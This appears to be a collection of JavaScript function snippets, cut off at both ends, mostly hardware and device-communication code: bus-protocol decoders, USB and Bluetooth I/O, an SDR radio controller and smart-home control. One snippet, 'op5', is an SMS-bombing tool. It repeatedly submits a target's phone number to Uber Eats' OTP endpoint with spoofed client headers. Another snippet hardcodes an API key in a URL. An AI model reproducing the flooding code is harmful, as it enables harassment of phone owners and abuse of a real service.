ACK\\\");\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"NACK\\\");\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"!A\\\");\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\telse\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"ACK\\\");\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"ACK\\\");\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"A\\\");\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tpkt_add_item(-1, -1, \\\"ACK\\\", ack_chk.toString(10), dark_colors.black, channel_color);\\n\\t\\t\\t\\teof_chk = 0;\\n\\t\\t\\t\\tfor (c = 0; c < 7; c++)\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\teof_chk += bit_sampler_next(ch);\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\tif(!edl_mode)\\n\\t\\t\\t\\t\\tdec_item_new(ch, bit_pos[b] + (3.5 * spb) + m, bit_pos[b] + (10.5 * spb) - m); \\t// Add the EOF item\\n\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\tdec_item_new(ch, bit_pos[b] + (2.5 * spb_hs) + 2*spb - m, bit_pos[b] + (2.5 * spb_hs) + 9*spb - m); \\t// Add the EOF item\\n\\n\\t\\t\\t\\tif (eof_chk == 7)\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"END OF FRAME OK\\\");\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"EOF OK\\\");\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"EOF\\\");\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"E\\\");\\n\\t\\t\\t\\t\\tpkt_add_item(-1, -1, \\\"EOF\\\", \\\"\\\", dark_colors.blue, channel_color);\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\telse\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"END OF FRAME ERR\\\");\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"EOF ERR!\\\");\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"!EOF!\\\");\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"!E!\\\");\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"!\\\");\\n\\t\\t\\t\\t\\tpkt_add_item(-1, -1, \\\"EOF\\\",\\\"MISSING!\\\", dark_colors.red, channel_color);\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\tpkt_end();\\n\\n\\t\\t\\t\\tt = trs_go_after(ch, bit_pos[b] + (10.5 * spb));\\n\\t\\t\\t\\tset_progress(100 * t.sample / n_samples);\\n\\t\\t\\t\\tstate = GET_SOF;\\n\\t\\t\\t\\t//dec_item_new(ch, bit_pos[0] - (0.5 * spb) + m, bit_pos[b] + (0.5 * spb) - m); \\t//<=========================DEBUG ALL THE FRAME\\n\\t\\t\\tbreak;\\n\\t\\t}\\n\\t}\\n}\",\n \"function sendCompleted(usbEvent) {\\n\\tif (chrome.runtime.lastError) {\\n\\t\\tconsole.error(\\\"sendCompleted Error:\\\", chrome.runtime.lastError.message);\\n\\t}\\n\\n\\tif (usbEvent) {\\n\\t\\tif (usbEvent.data) {\\n\\t\\t\\tvar buf = new Uint8Array(usbEvent.data);\\n\\t\\t\\tconsole.log(\\\"sendCompleted Buffer:\\\", usbEvent.data.byteLength, buf);\\n\\t\\t}\\n\\t\\tif (usbEvent.resultCode !== 0) {\\n\\t\\t\\tchangeState(state.connected);\\n\\t\\t\\terrorln(\\\"Error writing to device: \\\" + chrome.runtime.lastError.message);\\n\\t\\t}\\n\\t}\\n}\",\n \"getPower() {\\n console.log('getPower called');\\n\\n return this.getLampResURI()\\n .then(response => {\\n return response.power.value;\\n });\\n }\",\n \"function getvolume(dev, callback)\\n{\\n if (typeof (webphone_api.plhandler) !== 'undefined' && webphone_api.plhandler !== null)\\n {\\n if (typeof (dev) === 'undefined' || dev === null || dev.length < 1) dev = '-15';\\n webphone_api.plhandler.GetVolume(dev, callback);\\n }\\n}\",\n \"function getBzData(uri, method) {\\n var dfd = $.Deferred();\\n\\n // defer get binary\\n var request = new XMLHttpRequest();\\n request.onload = function () {\\n // Process the response\\n if (request.status >= 200 && request.status < 300) {\\n // If successful\\n console.log('request-received');\\n\\n var bytes = bz2.decompress(new Uint8Array(request.response));\\n var jsonObj = JSON.parse(utfDecoder.decode(bytes));\\n dfd.resolve(jsonObj);\\n } else {\\n // If failed\\n dfd.reject({\\n status: request.status,\\n statusText: request.statusText\\n });\\n }\\n }\\n request.open('GET', uri, true);\\n request.responseType = \\\"arraybuffer\\\";\\n request.send();\\n\\n return dfd.promise();\\n }\",\n \"function getHumidity(){\\n execFile('./scripts/humidity', ['hum'], (error, stdout, stderr) => {\\n if (error) {\\n console.error('stderr', stderr);\\n throw error;\\n }\\n console.log('hum: ' + stdout);\\n readData.hum = stdout\\n })\\n}\",\n \"function onEvent(usbEvent) {\\n\\tconsole.log(\\\"onEvent\\\");\\n\\tif (usbEvent.resultCode) {\\n\\t\\tif (usbEvent.resultCode == USB_ERROR_TRANSFER_FAILED) {\\n\\t\\t\\t// Device is connected but we failed to send data.\\n\\t\\t\\tchangeState(state.connected);\\n\\t\\t} else if (usbEvent.resultCode == USB_ERROR_DEVICE_DISCONNECTED) {\\n\\t\\t\\tchangeState(state.disconnected);\\n\\t\\t}\\n\\t\\tconsole.log(chrome.runtime.lastError.message + \\\"(code: \\\" + usbEvent.resultCode + \\\") [onEvent]\\\");\\n\\t\\treturn;\\n\\t}\\n\\n\\tvar dv = new DataView(usbEvent.data);\\n\\tvar len = dv.getUint8(0);\\n\\tvar cmd = dv.getUint8(1);\\n\\n\\tswitch (cmd) {\\n\\t\\tcase CMD_DEBUG:\\n\\t\\t{\\n\\t\\t\\tvar msg = \\\"\\\";\\n\\t\\t\\tfor (var i = 0; i < len; i++) {\\n\\t\\t\\t\\tmsg += String.fromCharCode(dv.getUint8(i+2));\\n\\t\\t\\t}\\n\\t\\t\\tmessageln(\\\"debug: '\\\" + msg + \\\"'\\\");\\n\\t\\t\\tbreak;\\n\\t\\t}\\n\\t\\tcase CMD_PING:\\n\\t\\t\\tmessageln(\\\"ping\\\");\\n\\t\\t\\tbreak;\\n\\t\\tcase CMD_VERSION:\\n\\t\\t{\\n\\t\\t\\tvar version = \\\"\\\" + dv.getUint8(2) + \\\".\\\" + dv.getUint8(3);\\n\\t\\t\\tmessageln(\\\"command: Version \\\" + version);\\n\\t\\t\\tbreak;\\n\\t\\t}\\n\\t\\tdefault:\\n\\t\\t\\terrorln(\\\"unknown command\\\");\\n\\t\\t\\tbreak;\\n\\t}\\n\\n\\tchrome.usb.interruptTransfer(mp_device, in_transfer, onEvent);\\n}\",\n \"async function enableBloodPressure() {\\n const command = hexToBase64(\\\"55 aa 04 02 01 f8\\\");\\n // console.log(\\\"TCL: enableBloodPressure -> command\\\", command)\\n const didWrite = await Bluetooth.writeToDevice(command);\\n // console.log(\\\"TCL: enableBloodPressure -> didWrite\\\", didWrite)\\n return didWrite;\\n}\",\n \"_pingDevice () {\\n this._ble.read(\\n BoostBLE.service,\\n BoostBLE.characteristic,\\n false\\n );\\n }\",\n \"RetrieveBeaconBlock(blockHash = '', verbosity = '1') {}\",\n \"async function requestBarcodePrinter() {\\n console.log(navigator)\\n navigator.usb &&\\n navigator.usb\\n .requestDevice({\\n filters: [\\n {\\n vendorId: 5380,\\n // classCode: 0xff, // vendor-specific\\n // protocolCode: 0x01,\\n },\\n ],\\n })\\n .then(selectedDevice => {\\n setBarcodePrinter(selectedDevice)\\n })\\n .catch(errorInfo => {\\n console.log(errorInfo)\\n // message.error(i18n.t`Cannot find label printer`)\\n })\\n }\",\n \"async GetValueBytes(id, command) {\\n var packet = new DpsPacket(id, DpsConstants.sender, command, [0,0,0,0,0,0,0,0]);\\n var result = await this.PacketIO(packet);\\n if ((result && (result.sender != id || result.command != command)) || result == null) return null;\\n else return result.data;\\n }\",\n \"scan (){\\n this.comm.getDeviceList().then(result => {\\n this.runtime.emit(this.runtime.constructor.PERIPHERAL_LIST_UPDATE, result);\\n });\\n }\",\n \"scan (){\\n this.comm.getDeviceList().then(result => {\\n this.runtime.emit(this.runtime.constructor.PERIPHERAL_LIST_UPDATE, result);\\n });\\n }\",\n \"scan (){\\n this.comm.getDeviceList().then(result => {\\n this.runtime.emit(this.runtime.constructor.PERIPHERAL_LIST_UPDATE, result);\\n });\\n }\",\n \"scan (){\\n this.comm.getDeviceList().then(result => {\\n this.runtime.emit(this.runtime.constructor.PERIPHERAL_LIST_UPDATE, result);\\n });\\n }\",\n \"XXX_start_dfu(program_mode , image_size_packet) { //see sendStartPacket\\n return new Promise((resolve, reject) => {\\n var BAprogram_mode = Buffer.alloc( 1, [ (program_mode & 0x000000ff) ]);\\n console.log(\\\"Sending 'START DFU' command\\\");\\n this._send_control_data(/*DfuOpcodesBle.START_DFU*/ 0x01, BAprogram_mode) // 0x01 0x04\\n .then( () => this._send_packet_data(image_size_packet) )\\n .then( () => this.waitForControlNotify( /*this.get_received_response, true, 10.0, 'response for START DFU'*/) )\\n .then( () => {/*console.log('$%#&%#&%#%#%#');*/ resolve() }) ////WTFWTFWTF\\n //TODO .then( () => this._clear_received_response() )\\n });\\n }\",\n \"async function op5(numero, quantidade) {\\n\\t\\n\\tvar ubereats = await tools.curl('https://cn-phx2.cfe.uber.com/rt/silk-screen/submit-form', `{\\\"formContainerAnswer\\\":{\\\"formAnswer\\\":{\\\"flowType\\\":\\\"INITIAL\\\",\\\"screenAnswers\\\":[{\\\"screenType\\\":\\\"PHONE_NUMBER_INITIAL\\\",\\\"fieldAnswers\\\":[{\\\"fieldType\\\":\\\"PHONE_COUNTRY_CODE\\\",\\\"phoneCountryCode\\\":\\\"55\\\"},{\\\"fieldType\\\":\\\"PHONE_NUMBER\\\",\\\"phoneNumber\\\":\\\"${numero}\\\"},{\\\"fieldType\\\":\\\"THIRD_PARTY_CLIENT_ID\\\",\\\"thirdPartyClientID\\\":\\\"\\\"}]}],\\\"firstPartyClientID\\\":\\\"\\\"}}}`, {\\n\\t\\t'Host': 'cn-phx2.cfe.uber.com',\\n\\t\\t'x-uber-client-name': 'eats',\\n\\t\\t'x-uber-device': 'android',\\n\\t\\t'x-uber-device-language': 'pt_BR',\\n\\t\\t'x-uber-client-version': '1.277.10005',\\n\\t\\t'accept': 'application/json',\\n\\t\\t'content-type': 'application/json; charset=UTF-8',\\n\\t\\t'user-agent': 'okhttp/3.12.0-uber2'\\n\\t\\t}, 'POST').then((res) => {\\n\\t\\t\\tif (res.body.match(/SIGN_IN/i)) {\\n\\t\\t\\t\\t\\n\\t\\t\\t\\tif (spam.enviados == 0) {\\n\\t\\t\\t\\t\\tb1.start(quantidade, 0, {\\n\\t\\t\\t\\t\\t\\tenviados: spam.enviados\\n\\t\\t\\t\\t\\t});\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\n\\t\\t\\t\\tspam.enviados++\\n\\t\\t\\t\\tspam.status = 1\\n\\t\\t\\t\\tb1.update(spam.enviados, {\\n\\t\\t\\t\\t\\tenviados: spam.enviados\\n\\t\\t\\t\\t});\\n\\t\\t\\t\\t// console.log('Sucesso » [ Numero: %s, Enviados: %s, Retorno: SMS enviado com sucesso. ] #ServerMP'.success, numero, spam.enviados);\\n\\t\\t\\t} else if (res.body.match(/SMS_OTP_TOO_MANY_REQUESTS/i)) {\\n\\t\\t\\t\\tconsole.clear();\\n\\t\\t\\t\\tprocess.exit(console.log('Falhou » [ Excesso de tentativas, tente novamente em breve. ] #ServerMP'.error));\\n\\t\\t\\t} else if (res.body.match(/BANNED/)) {\\n\\t\\t\\t\\tconsole.clear();\\n\\t\\t\\t\\tprocess.exit(console.log('Falhou » [ Numero inserido está com conta desativada. ] #ServerMP'.error));\\n\\t\\t\\t} else {\\n\\t\\t\\t\\tconsole.clear();\\n\\t\\t\\t\\tprocess.exit(console.log('Falhou » [ Ocorreu um error desconhecido. ] #ServerMP'.error));\\n\\t\\t\\t}\\n\\t});\\n\\t\\n\\t// Verificar se o spam ja foi finalizado.\\n\\tif (quantidade == spam.enviados) {\\n\\t\\tb1.start(quantidade, quantidade, {\\n\\t\\t\\tenviados: spam.enviados\\n\\t\\t});\\n\\t\\tprocess.exit(console.log('\\\\n\\\\nAtaque finalizado! #ServerMP'.help));\\n\\t} else {\\n\\t\\top5(numero, quantidade);\\n\\t}\\n\\t\\n}\",\n \"async function writepumpdurationtoBLE(num){\\n console.log('Attempting bluetooth write')\\n var arrInt8 = toBytesInt16(num)\\n ble.twrite_pumpduration=performance.now()\\n try{\\n await ble.writepumpdurationcharacteristic.writeValue(arrInt8)\\n var textstr = 'wrote ble val >> ' + num + ', byte values ' + arrInt8\\n console.log(textstr)\\n ble.statustext = textstr\\n // \\n //wdm(textstr)\\n }\\n catch(error) {\\n var textstr = 'Could not write pump duration to ble device'\\n console.log(textstr)\\n ble.statustext = ble.statustext + \\\"
    \\\" + textstr\\n \\n }\\n}\",\n \"function cerial() {\\n getPortInfo()\\n .then( (portDetails) => handleSensor(portDetails))\\n .catch((error) => console.log(error));\\n // port.write('ROBOT PLEASE RESPOND\\\\n');\\n // The parser will emit any string response\\n}\",\n \"function get24HBTCData() {\\r\\n\\tvar result;\\r\\n\\tvar request = new XMLHttpRequest();\\r\\n\\trequest.open('GET',\\r\\n\\t\\t'https://min-api.cryptocompare.com/data/v2/histohour?fsym=BTC&tsym=USD&limit=24&api_key=45419ed9fb65b31861ccb009765d97bb619e9eccedc722044457d066cbfb0a8b', false)\\r\\n\\trequest.send(null);\\r\\n\\tresult = JSON.parse(request.responseText);\\r\\n\\treturn result;\\r\\n}\",\n \"function getHSDevices(filter,cbfunc){\\n var options = {\\n hostname: hsserver,\\n path: '/jsonapi.asp?action=getdevices&filter='+filter+'&verbose=yes',\\n port: hsport,\\n headers: {\\n 'Authorization': auth\\n }\\n };\\n\\n http.get(options, function(response) {\\n var body = '';\\n response.on('data', function(d) {body += d;});\\n response.on('end', function() {cbfunc(JSON.parse(body));});\\n\\t response.on(\\\"error\\\",function(e){log(\\\"Got error: \\\" + e.message); });\\n });\\n}\",\n \"function Bus_Phase(decoder_items) // 65001-65006\\n{\\n var str = \\\"\\\";\\n switch (data_nb)\\n {\\n case 0 :\\n {\\n start_item = decoder_items.start_sample_index;\\n multi_byte_value = hex_value;\\n skip_item = true;\\n break;\\n }\\n case 1 :\\n {\\n multi_byte_value += (hex_value<<8);\\n ScanaStudio.dec_item_new(decoder_items.channel_index,start_item, decoder_items.end_sample_index);\\n ScanaStudio.dec_item_add_content(\\\"Line-Line AC RMS Voltage : \\\" + (multi_byte_value.toString().replace(/(\\\\d)(?=(\\\\d{3})+\\\\b)/g,'$1 ')) + \\\" V\\\");\\n ScanaStudio.dec_item_add_content((multi_byte_value.toString().replace(/(\\\\d)(?=(\\\\d{3})+\\\\b)/g,'$1 ')) + \\\" V\\\");\\n ScanaStudio.dec_item_end();\\n // Packet View\\n ScanaStudio.packet_view_add_packet(false,\\n decoder_items.channel_index,\\n start_item,\\n decoder_items.end_sample_index,\\n \\\"Data\\\",\\n (\\\"Line-Line Voltage : \\\" + (multi_byte_value.toString().replace(/(\\\\d)(?=(\\\\d{3})+\\\\b)/g,'$1 ')) + \\\" V\\\"),\\n ScanaStudio.PacketColors.Data.Title,\\n ScanaStudio.PacketColors.Data.Content);\\n skip_item = true;\\n break;\\n }\\n case 2 :\\n {\\n start_item = decoder_items.start_sample_index;\\n multi_byte_value = hex_value;\\n skip_item = true;\\n break;\\n }\\n case 3 :\\n {\\n multi_byte_value += (hex_value<<8);\\n ScanaStudio.dec_item_new(decoder_items.channel_index,start_item, decoder_items.end_sample_index);\\n ScanaStudio.dec_item_add_content(\\\"Line-Neutral AC RMS Voltage : \\\" + (multi_byte_value.toString().replace(/(\\\\d)(?=(\\\\d{3})+\\\\b)/g,'$1 ')) + \\\" V\\\");\\n ScanaStudio.dec_item_add_content((multi_byte_value.toString().replace(/(\\\\d)(?=(\\\\d{3})+\\\\b)/g,'$1 ')) + \\\" V\\\");\\n ScanaStudio.dec_item_end();\\n // Packet View\\n ScanaStudio.packet_view_add_packet(false,\\n decoder_items.channel_index,\\n start_item,\\n decoder_items.end_sample_index,\\n \\\"Data\\\",\\n (\\\"Line-Neutral Voltage : \\\" + (multi_byte_value.toString().replace(/(\\\\d)(?=(\\\\d{3})+\\\\b)/g,'$1 ')) + \\\" V\\\"),\\n ScanaStudio.PacketColors.Data.Title,\\n ScanaStudio.PacketColors.Data.Content);\\n skip_item = true;\\n break;\\n }\\n case 4 :\\n {\\n start_item = decoder_items.start_sample_index;\\n multi_byte_value = hex_value;\\n skip_item = true;\\n break;\\n }\\n case 5 :\\n {\\n multi_byte_value += (hex_value<<8);\\n multi_byte_value = Math.floor(multi_byte_value/128);\\n ScanaStudio.dec_item_new(decoder_items.channel_index,start_item, decoder_items.end_sample_index);\\n ScanaStudio.dec_item_add_content(\\\"AC Frequency : \\\" + multi_byte_value + \\\"Hz\\\");\\n ScanaStudio.dec_item_add_content(multi_byte_value + \\\" kWh\\\");\\n ScanaStudio.dec_item_end();\\n // Packet View\\n ScanaStudio.packet_view_add_packet(false,\\n decoder_items.channel_index,\\n start_item,\\n decoder_items.end_sample_index,\\n \\\"Data\\\",\\n (\\\"AC Frequency : \\\" + multi_byte_value + \\\"Hz\\\"),\\n ScanaStudio.PacketColors.Data.Title,\\n ScanaStudio.PacketColors.Data.Content);\\n skip_item = true;\\n break;\\n }\\n default :\\n {\\n packet_title = \\\"Filled Data\\\";\\n if (hex_value == 255)\\n {\\n item_content = \\\"Filled with 0xFF\\\";\\n }\\n else\\n {\\n item_content = \\\"0x\\\" + pad(hex_value.toString(16),2) + \\\", should be 0xFF\\\";\\n types_title = ScanaStudio.PacketColors.Error.Title;\\n types_content = ScanaStudio.PacketColors.Error.Content;\\n }\\n break;\\n }\\n }//end switch (data_nb)\\n}//end function Bus_Phase_C\",\n \"function proprietary_fast_packet (decoder_items) //126720/130816/130817/130818/130819/130820/130821/130824/130827/130828/130831/130832/130834/130835/130836/130837/130838/130839/130840/130842/130843/130845/130847/130850/130851/130856/130880/130881/130944\\n{\\n var str = \\\"\\\";\\n switch (fast_packet_byte)\\n {\\n case 1 :\\n {\\n start_item = decoder_items.start_sample_index;\\n multi_byte_value = hex_value;\\n skip_item = true;\\n break;\\n }\\n case 2 :\\n {\\n var manufacturer_code = multi_byte_value + (((hex_value>>5)&0x7)<<8);\\n var reserved = (hex_value>>3)&0x3;\\n var industry_code = hex_value&0x7;\\n end_item = decoder_items.start_sample_index + (decoder_items.end_sample_index - decoder_items.start_sample_index)/8*3;\\n str = LOOKUP_MANUFACTURER(manufacturer_code);\\n ScanaStudio.dec_item_new(decoder_items.channel_index, start_item, end_item);\\n ScanaStudio.dec_item_add_content(\\\"Manufacturer Code : \\\" + str);\\n ScanaStudio.dec_item_add_content(\\\"\\\" + str);\\n ScanaStudio.dec_item_add_content(str);\\n ScanaStudio.dec_item_end();\\n // Packet View\\n ScanaStudio.packet_view_add_packet(false,\\n decoder_items.channel_index,\\n start_item,\\n end_item,\\n \\\"Fast Packet Data\\\",\\n (\\\"Manufacturer Code : \\\" + str),\\n ScanaStudio.PacketColors.Data.Title,\\n ScanaStudio.PacketColors.Data.Content);\\n start_item = end_item;\\n end_item = decoder_items.start_sample_index + (decoder_items.end_sample_index - decoder_items.start_sample_index)/8*5;\\n ScanaStudio.dec_item_new(decoder_items.channel_index, start_item, end_item);\\n ScanaStudio.dec_item_add_content(\\\"Reserved : 0x\\\" + pad(reserved.toString(16),1));\\n ScanaStudio.dec_item_add_content(\\\"Reserved\\\");\\n ScanaStudio.dec_item_end();\\n // Packet View\\n ScanaStudio.packet_view_add_packet(false,\\n decoder_items.channel_index,\\n start_item,\\n end_item,\\n \\\"Fast Packet Data\\\",\\n (\\\"Reserved : 0x\\\" + pad(reserved.toString(16),1)),\\n ScanaStudio.PacketColors.Data.Title,\\n ScanaStudio.PacketColors.Data.Content);\\n str = LOOKUP_INDUSTRY_CODE(industry_code);\\n ScanaStudio.dec_item_new(decoder_items.channel_index, end_item, decoder_items.end_sample_index);\\n ScanaStudio.dec_item_add_content(\\\"Industry Code : \\\" + str);\\n ScanaStudio.dec_item_add_content(str);\\n ScanaStudio.dec_item_end();\\n // Packet View\\n ScanaStudio.packet_view_add_packet(false,\\n decoder_items.channel_index,\\n end_item,\\n decoder_items.end_sample_index,\\n \\\"Fast Packet Data\\\",\\n (\\\"Industry Code : \\\" + str),\\n ScanaStudio.PacketColors.Data.Title,\\n ScanaStudio.PacketColors.Data.Content);\\n skip_item = true;\\n break;\\n }\\n default :\\n {\\n packet_title = \\\"Byte n°\\\" + fast_packet_byte;\\n item_content = \\\"0x\\\" + pad(hex_value.toString(16),2);\\n break;\\n }\\n }\\n}\",\n \"loadSample(url, name, callback)\\n {\\n let request = new XMLHttpRequest();\\n request.open('GET', url, true);\\n request.responseType = 'arraybuffer';\\n request.onload = function()\\n {\\n let audioData = request.response;\\n drummachineInst.audioContext.decodeAudioData(audioData, function(buffer)\\n {\\n callback(buffer,name);\\n });\\n };\\n request.send();\\n }\",\n \"function GetDeviceIP(){\\n showBackgroundImage('wait_message');\\n getContent('','/cgi-bin/setup.cgi?GetDeviceIP','function:ShowGetDeviceIP');\\n}\",\n \"function BYB_GetBalance() { \\n var bybrequest = {\\n \\\"id\\\" : \\\"BYB\\\",\\n \\\"name\\\" : \\\"Bybit\\\",\\n \\\"apikey\\\" : '•••••••••',\\n \\\"secret\\\" : '•••••••••',\\n \\\"command\\\" : \\\"/open-api/wallet/fund/records\\\",\\n // \\\"uri\\\" : \\\"https://api.bybit.com\\\",\\n \\\"uri\\\" : \\\"api-testnet.bybit.com\\\",\\n \\\"apiversion\\\" : \\\"/v1/\\\",\\n \\\"method\\\" : \\\"get\\\",\\n \\\"payload\\\" : \\\"\\\"\\n }; \\n\\n var response = BYB_PrivateRequest(bybrequest);\\n Logger.log( JSON.parse(UrlFetchApp.fetch(response.uri, response.params)) );\\n}\",\n \"function processDeviceCommand(request, response) {\\n\\t\\n\\tvar deviceIP = request.headers[\\\"tuyapi-ip\\\"]\\n\\tvar deviceID = request.headers[\\\"tuyapi-devid\\\"]\\n\\tvar localKey = request.headers[\\\"tuyapi-localkey\\\"]\\n\\tvar command = request.headers[\\\"tuyapi-command\\\"] \\n\\n\\t//var respMsg = \\\"deviceCommand sending to deviceID: \\\" + deviceID + \\\" Command: \\\" + command;\\n\\tvar respMsg = \\\"deviceCommand sending to IP: \\\" + deviceIP + \\\" Command: \\\" + command;\\n\\tconsole.log(respMsg);\\n\\n\\tvar device = new TuyaDevice({\\n\\t //ip: deviceIP,\\n\\t id: deviceID,\\n\\t key: localKey\\n\\t , issueGetOnConnect: false\\n\\t});\\n\\n\\tdevice.on('error', error => {\\n\\t\\tconsole.log('Error!', error);\\n\\t});\\n\\n\\t(async () => {\\n\\t\\tawait device.find();\\t \\n\\n\\t\\tawait device.connect();\\t \\n\\t\\tconsole.log('Connected to device!');\\n\\t\\tlet status = await device.get();\\t \\n\\t\\tconsole.log(`Current status: ${status}.`);\\t\\n\\t\\tswitch(command) {\\n\\t\\t\\tcase \\\"off\\\":\\t\\n\\t\\t\\t\\tconsole.log('Setting to false!');\\n\\t\\t\\t\\tawait device.set({set: false});\\n\\t\\t\\tbreak\\n\\t\\t\\tcase \\\"on\\\":\\n\\t\\t\\t\\tconsole.log('Setting to true!');\\n\\t\\t\\t\\tawait device.set({set: true});\\n\\t\\t\\tbreak\\n\\t\\t\\tcase \\\"status\\\":\\t\\n\\t\\t\\t\\tconsole.log('Received status request!');\\n\\t\\t\\tbreak\\n\\t\\t}\\n\\t\\tstatus = await device.get(); \\t\\t \\n\\t\\tconsole.log(`New status: ${status}.`);\\t \\n\\t\\tdevice.disconnect();\\n\\n\\t\\ttry{\\n\\t\\t\\tconsole.log(\\\"Sending Status to SmartThings:\\\" +status);\\t\\n\\t\\t\\tresponse.setHeader(\\\"tuyapi-onoff\\\", status);\\n\\t\\t\\tresponse.setHeader(\\\"cmd-response\\\", status);\\n\\t\\t\\tresponse.end();\\n\\t\\t\\tconsole.log(\\\"Status sent to SmartThings:\\\" +status);\\t\\n\\t\\t}catch (err){\\n\\t\\t\\tconsole.log(\\\"Error:\\\" +err);\\t\\n\\t\\t}\\n\\t})();\\t\\n}\",\n \"prepare() {\\n if (!navigator.bluetooth) {\\n this.log_.warn('Bluetooth Web support is not available!');\\n return;\\n } else if (this.prepared) {\\n return;\\n }\\n\\n this.log_.debug('Preparing Bluetooth LowEnergy support...');\\n this.devices_.prepare();\\n\\n this.prepared = true;\\n }\",\n \"function RadioController() {\\n\\n var TUNER = {'vendorId': 0x0bda, 'productId': 0x2838};\\n var SAMPLE_RATE = 2048000;\\n var BUFS_PER_SEC = 5;\\n var SAMPLES_PER_BUF = Math.floor(SAMPLE_RATE / BUFS_PER_SEC);\\n var NULL_FUNC = function(){};\\n var STATE = {\\n OFF: 0,\\n STARTING: 1,\\n PLAYING: 2,\\n STOPPING: 3,\\n CHG_FREQ: 4,\\n SCANNING: 5\\n };\\n var SUBSTATE = {\\n USB: 1,\\n TUNER: 2,\\n ALL_ON: 3,\\n TUNING: 4,\\n PLAYING: 5\\n };\\n\\n var decoder = new Worker('decode-worker.js');\\n var player = new Player();\\n var state = new State(STATE.OFF);\\n var requestingBlocks = 0;\\n var playingBlocks = 0;\\n var frequency = 88500000;\\n var stereo = true;\\n var stereoEnabled = true;\\n var errorHandler;\\n var tuner;\\n var connection;\\n var ui;\\n\\n /**\\n * Starts playing the radio.\\n * @param {Function=} opt_callback A function to call when the radio\\n * starts playing.\\n */\\n function start(opt_callback) {\\n if (state.state == STATE.OFF) {\\n state = new State(STATE.STARTING, SUBSTATE.USB, opt_callback);\\n chrome.permissions.request(\\n {'permissions': [{'usbDevices': [TUNER]}]},\\n function(res) {\\n if (!res) {\\n state = new State(STATE.OFF);\\n throwError('This app has no permission to access the USB ports.');\\n } else {\\n processState();\\n }\\n });\\n } else if (state.state == STATE.STOPPING || state.state == STATE.STARTING) {\\n state = new State(STATE.STARTING, state.substate, opt_callback);\\n }\\n }\\n\\n /**\\n * Stops playing the radio.\\n * @param {Function=} opt_callback A function to call after the radio\\n * stops playing.\\n */\\n function stop(opt_callback) {\\n if (state.state == STATE.OFF) {\\n opt_callback && opt_callback();\\n } else if (state.state == STATE.STARTING || state.state == STATE.STOPPING) {\\n state = new State(STATE.STOPPING, state.substate, opt_callback);\\n } else if (state.state != STATE.STOPPING) {\\n state = new State(STATE.STOPPING, SUBSTATE.ALL_ON, opt_callback);\\n }\\n }\\n\\n /**\\n * Tunes to another frequency.\\n * @param {number} freq The new frequency in Hz.\\n */\\n function setFrequency(freq) {\\n if (state.state == STATE.PLAYING || state.state == STATE.CHG_FREQ\\n || state.state == STATE.SCANNING) {\\n state = new State(STATE.CHG_FREQ, null, freq);\\n } else {\\n frequency = freq;\\n ui && ui.update();\\n }\\n }\\n\\n /**\\n * Returns the currently tuned frequency.\\n * @return {number} The current frequency in Hz.\\n */\\n function getFrequency() {\\n return frequency;\\n }\\n\\n /**\\n * Searches a given frequency band for a station, starting at the\\n * current frequency.\\n * @param {number} min The minimum frequency, in Hz.\\n * @param {number} max The maximum frequency, in Hz.\\n * @param {number} step The step between stations, in Hz. The step's sign\\n * determines the scanning direction.\\n */\\n function scan(min, max, step) {\\n if (state.state == STATE.PLAYING || state.state == STATE.SCANNING) {\\n var param = {\\n min: min,\\n max: max,\\n step: step,\\n start: frequency\\n };\\n state = new State(STATE.SCANNING, SUBSTATE.TUNING, param);\\n }\\n }\\n\\n /**\\n * Returns whether the radio is doing a frequency scan.\\n * @return {boolean} Whether the radio is doing a frequency scan.\\n */\\n function isScanning() {\\n return state.state == STATE.SCANNING;\\n }\\n\\n /**\\n * Returns whether the radio is currently playing.\\n * @param {boolean} Whether the radio is currently playing.\\n */\\n function isPlaying() {\\n return state.state != STATE.OFF && state.state != STATE.STOPPING;\\n }\\n\\n /**\\n * Returns whether the radio is currently stopping.\\n * @param {boolean} Whether the radio is currently stopping.\\n */\\n function isStopping() {\\n return state.state == STATE.STOPPING;\\n }\\n\\n /**\\n * Returns whether a stereo signal is being decoded.\\n * @param {boolean} Whether a stereo signal is being decoded.\\n */\\n function isStereo() {\\n return stereo;\\n }\\n\\n /**\\n * Enables or disables stereo decoding.\\n * @param {boolean} enable Whether stereo decoding should be enabled.\\n */\\n function enableStereo(enable) {\\n stereoEnabled = enable;\\n ui && ui.update();\\n }\\n\\n /**\\n * Returns whether stereo decoding is enabled.\\n * @return {boolean} Whether stereo decoding is enabled.\\n */\\n function isStereoEnabled() {\\n return stereoEnabled;\\n }\\n\\n /**\\n * Saves a reference to the current user interface controller.\\n * @param {Object} iface The controller. Must have an update() method.\\n */\\n function setInterface(iface) {\\n ui = iface;\\n }\\n\\n /**\\n * Sets a function to be called when there is an error.\\n * @param {Function} handler The function to call. Its only parameter\\n * is the error message.\\n */\\n function setOnError(handler) {\\n errorHandler = handler;\\n }\\n\\n /**\\n * Handles an error.\\n * @param {string} msg The error message.\\n */\\n function throwError(msg) {\\n if (errorHandler) {\\n errorHandler(msg);\\n } else {\\n throw msg;\\n }\\n }\\n\\n /**\\n * Starts the decoding pipeline.\\n */\\n function startPipeline() {\\n // In this way we read one block while we decode and play another.\\n if (state.state == STATE.PLAYING) {\\n processState();\\n }\\n processState();\\n }\\n\\n /**\\n * Performs the 